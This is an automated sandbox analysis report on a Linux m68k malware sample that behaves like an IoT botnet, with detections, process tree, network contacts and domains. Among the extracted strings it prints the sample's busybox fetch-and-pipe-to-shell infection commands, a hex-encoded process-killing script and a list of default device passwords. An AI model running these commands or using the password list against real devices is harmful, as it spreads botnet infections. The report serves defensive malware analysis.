Edit tour

Linux Analysis Report
splm68k.elf

Overview

General Information

Sample name:	splm68k.elf
Analysis ID:	1580225
MD5:	51ecbd66450e33a0a7f0255558d453f6
SHA1:	f0970f72a901f71610cabde324ffd53e02f579fa
SHA256:	e778282e71e02aab4eea836122f7469d3a5b6051df528d6ab8cf66fa1ad97f75
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580225
Start date and time:	2024-12-24 04:32:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splm68k.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/249@5/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/splm68k.elf
PID:	6251
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splm68k.elf (PID: 6251, Parent: 6176, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/splm68k.elf

splm68k.elf New Fork (PID: 6253, Parent: 6251)

splm68k.elf New Fork (PID: 6255, Parent: 6253)

splm68k.elf New Fork (PID: 6257, Parent: 6253)

splm68k.elf New Fork (PID: 6259, Parent: 6253)

dash New Fork (PID: 6261, Parent: 4332)

rm (PID: 6261, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.x1MdUn0HLj /tmp/tmp.r0RyRJHOdS /tmp/tmp.usJSp4ODie

dash New Fork (PID: 6262, Parent: 4332)

cat (PID: 6262, Parent: 4332, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.x1MdUn0HLj

dash New Fork (PID: 6263, Parent: 4332)

head (PID: 6263, Parent: 4332, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6264, Parent: 4332)

tr (PID: 6264, Parent: 4332, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6265, Parent: 4332)

cut (PID: 6265, Parent: 4332, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6266, Parent: 4332)

cat (PID: 6266, Parent: 4332, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.x1MdUn0HLj

dash New Fork (PID: 6267, Parent: 4332)

head (PID: 6267, Parent: 4332, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6268, Parent: 4332)

tr (PID: 6268, Parent: 4332, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6269, Parent: 4332)

cut (PID: 6269, Parent: 4332, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6270, Parent: 4332)

rm (PID: 6270, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.x1MdUn0HLj /tmp/tmp.r0RyRJHOdS /tmp/tmp.usJSp4ODie

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: splm68k.elf	ReversingLabs: Detection: 34%
Source: splm68k.elf	Virustotal: Detection: 29%			Perma Link

Source: unknown

HTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.23:33606 version: TLS 1.2

Source: splm68k.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:37156 -> 154.216.16.250:38241
Source: global traffic	TCP traffic: 192.168.2.23:43580 -> 209.38.192.73:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 28.51.157.110
Source: unknown	TCP traffic detected without corresponding DNS query: 48.75.131.23
Source: unknown	TCP traffic detected without corresponding DNS query: 105.241.216.128
Source: unknown	TCP traffic detected without corresponding DNS query: 68.204.243.116
Source: unknown	TCP traffic detected without corresponding DNS query: 122.134.39.170
Source: unknown	TCP traffic detected without corresponding DNS query: 165.94.75.171
Source: unknown	TCP traffic detected without corresponding DNS query: 115.240.96.10
Source: unknown	TCP traffic detected without corresponding DNS query: 93.50.253.10
Source: unknown	TCP traffic detected without corresponding DNS query: 126.175.146.178
Source: unknown	TCP traffic detected without corresponding DNS query: 79.6.222.53
Source: unknown	TCP traffic detected without corresponding DNS query: 117.121.209.44
Source: unknown	TCP traffic detected without corresponding DNS query: 187.207.62.39
Source: unknown	TCP traffic detected without corresponding DNS query: 129.209.42.201
Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.30.177
Source: unknown	TCP traffic detected without corresponding DNS query: 132.51.228.133
Source: unknown	TCP traffic detected without corresponding DNS query: 55.7.239.67
Source: unknown	TCP traffic detected without corresponding DNS query: 114.160.68.193
Source: unknown	TCP traffic detected without corresponding DNS query: 100.159.194.253
Source: unknown	TCP traffic detected without corresponding DNS query: 213.224.136.14
Source: unknown	TCP traffic detected without corresponding DNS query: 83.21.112.35
Source: unknown	TCP traffic detected without corresponding DNS query: 58.38.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 33.92.102.74
Source: unknown	TCP traffic detected without corresponding DNS query: 159.75.205.29
Source: unknown	TCP traffic detected without corresponding DNS query: 163.239.199.208
Source: unknown	TCP traffic detected without corresponding DNS query: 197.157.120.70
Source: unknown	TCP traffic detected without corresponding DNS query: 65.124.252.95
Source: unknown	TCP traffic detected without corresponding DNS query: 221.60.190.131
Source: unknown	TCP traffic detected without corresponding DNS query: 189.90.75.185
Source: unknown	TCP traffic detected without corresponding DNS query: 91.31.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 6.229.143.135
Source: unknown	TCP traffic detected without corresponding DNS query: 123.130.3.104
Source: unknown	TCP traffic detected without corresponding DNS query: 28.51.157.110
Source: unknown	TCP traffic detected without corresponding DNS query: 140.131.123.87
Source: unknown	TCP traffic detected without corresponding DNS query: 108.187.4.203
Source: unknown	TCP traffic detected without corresponding DNS query: 48.75.131.23
Source: unknown	TCP traffic detected without corresponding DNS query: 148.125.131.174
Source: unknown	TCP traffic detected without corresponding DNS query: 142.203.206.158
Source: unknown	TCP traffic detected without corresponding DNS query: 105.241.216.128
Source: unknown	TCP traffic detected without corresponding DNS query: 116.33.34.34
Source: unknown	TCP traffic detected without corresponding DNS query: 83.170.169.151
Source: unknown	TCP traffic detected without corresponding DNS query: 68.204.243.116
Source: unknown	TCP traffic detected without corresponding DNS query: 223.92.181.172
Source: unknown	TCP traffic detected without corresponding DNS query: 122.134.39.170
Source: unknown	TCP traffic detected without corresponding DNS query: 90.17.184.124
Source: unknown	TCP traffic detected without corresponding DNS query: 142.174.156.34
Source: unknown	TCP traffic detected without corresponding DNS query: 165.94.75.171

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: splm68k.elf	String found in binary or memory: http:///curl.sh
Source: splm68k.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .dPon521rootZte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulthkipc2016unisheenFireituphslwificam5upjvbzdsystemzlxx.antslqxc12345xmhdipcicatch99founder88xirtam/*6.=_jat0talc0ntr0l4!7ujMko0adminjuantechipc71aroot12320080826admin123admin1234admin@123BrAhMoS@15GeNeXiS@19supportadmintelnetadminadmintelecomtelecomadminguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporte8ehomee8telnet
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd sh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x

Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6274/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6274/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6351/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6351/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6273/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6273/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6276/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6276/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6275/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6275/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6278/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6278/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6311/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6311/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6311/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6311/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6277/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6277/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6310/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6310/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6310/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6310/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6313/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6313/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6313/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6313/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6279/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6279/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6312/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6312/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6312/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6312/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6356/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6356/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6272/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6272/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6271/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6271/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6304/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6304/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6303/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6303/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6306/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6306/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6305/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6305/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6327/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6327/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6308/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6308/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6308/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6308/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6307/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6307/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6307/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6309/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6309/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6309/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6309/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6285/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6285/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6284/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6284/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6265/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6265/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6264/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6264/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6302/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6302/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6301/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6281/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6281/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6280/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6280/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6283/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6283/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6282/cmdline	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6282/maps	Jump to behavior
Source: /tmp/splm68k.elf (PID: 6257)	File opened: /proc/6282/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6261)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.x1MdUn0HLj /tmp/tmp.r0RyRJHOdS /tmp/tmp.usJSp4ODie			Jump to behavior
Source: /usr/bin/dash (PID: 6270)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.x1MdUn0HLj /tmp/tmp.r0RyRJHOdS /tmp/tmp.usJSp4ODie			Jump to behavior

Source: splm68k.elf, 6251.1.00007fff0187c000.00007fff0189d000.rw-.sdmp, splm68k.elf, 6255.1.00007fff0187c000.00007fff0189d000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/splm68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splm68k.elf
Source: splm68k.elf, 6251.1.00007fff0187c000.00007fff0189d000.rw-.sdmp, splm68k.elf, 6255.1.00007fff0187c000.00007fff0189d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: splm68k.elf, 6251.1.0000561bdf9cc000.0000561bdfa50000.rw-.sdmp, splm68k.elf, 6255.1.0000561bdf9cc000.0000561bdfa50000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: splm68k.elf, 6251.1.0000561bdf9cc000.0000561bdfa50000.rw-.sdmp, splm68k.elf, 6255.1.0000561bdf9cc000.0000561bdfa50000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/m68k

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splm68k.elf	false		high
http:///curl.sh	splm68k.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
83.162.150.225	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
3.86.48.220	unknown	United States	14618	AMAZON-AESUS	false
191.244.46.33	unknown	Brazil	22085	ClaroSABR	false
213.222.134.45	unknown	Hungary	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
99.41.15.248	unknown	United States	7018	ATT-INTERNET4US	false
29.77.115.26	unknown	United States	7922	COMCAST-7922US	false
208.30.30.21	unknown	United States	11280	SNAPPYDSL-ASN1US	false
100.250.213.5	unknown	United States	21928	T-MOBILE-AS21928US	false
49.192.235.59	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
167.94.9.185	unknown	United States	20278	NEXEONUS	false
20.19.238.40	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
30.211.247.5	unknown	United States	7922	COMCAST-7922US	false
204.219.74.150	unknown	United States	6595	DODDSEURDE	false
92.254.60.33	unknown	Netherlands	20507	INTERNLNETInterNLnetAutonomousSystemNL	false
194.213.110.78	unknown	Russian Federation	48143	MIRANTIS-ASRU	false
156.136.59.213	unknown	United States	29975	VODACOM-ZA	false
220.176.63.186	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
168.149.109.80	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
206.224.3.69	unknown	United States	18756	PATEAMUS	false
191.216.143.150	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
147.14.28.151	unknown	Sweden	41076	POSTDK-ASDK	false
46.14.101.130	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
25.55.227.23	unknown	United Kingdom	7922	COMCAST-7922US	false
215.76.166.177	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
80.234.226.189	unknown	United Kingdom	5413	AS5413GB	false
172.196.75.97	unknown	Australia	18747	IFX18747US	false
31.116.118.121	unknown	United Kingdom	12576	EELtdGB	false
178.164.90.51	unknown	Norway	34087	NTE-BREDBANDNIX1OsloNorwayNO	false
207.52.101.178	unknown	United States	1239	SPRINTLINKUS	false
45.139.169.255	unknown	Russian Federation	35751	INTERNETTEKHNOLOGII-ASRU	false
157.211.27.51	unknown	Australia	7573	UTASTheUniversityofTasmaniaAU	false
158.236.74.47	unknown	United States	1540	DNIC-ASBLK-01534-01546US	false
206.122.86.246	unknown	United States	701	UUNETUS	false
52.75.142.211	unknown	United States	16509	AMAZON-02US	false
57.0.191.243	unknown	Belgium	2686	ATGS-MMD-ASUS	false
83.16.62.139	unknown	Poland	5617	TPNETPL	false
119.47.22.27	unknown	Japan	17682	CABLENET296296BROADNETComIncJP	false
88.193.179.69	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
145.117.124.171	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
4.133.165.37	unknown	United States	3356	LEVEL3US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	nklarm7.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	splarm7.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nklarm5.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	zerarm7.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	jklspc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nabspc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	splarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
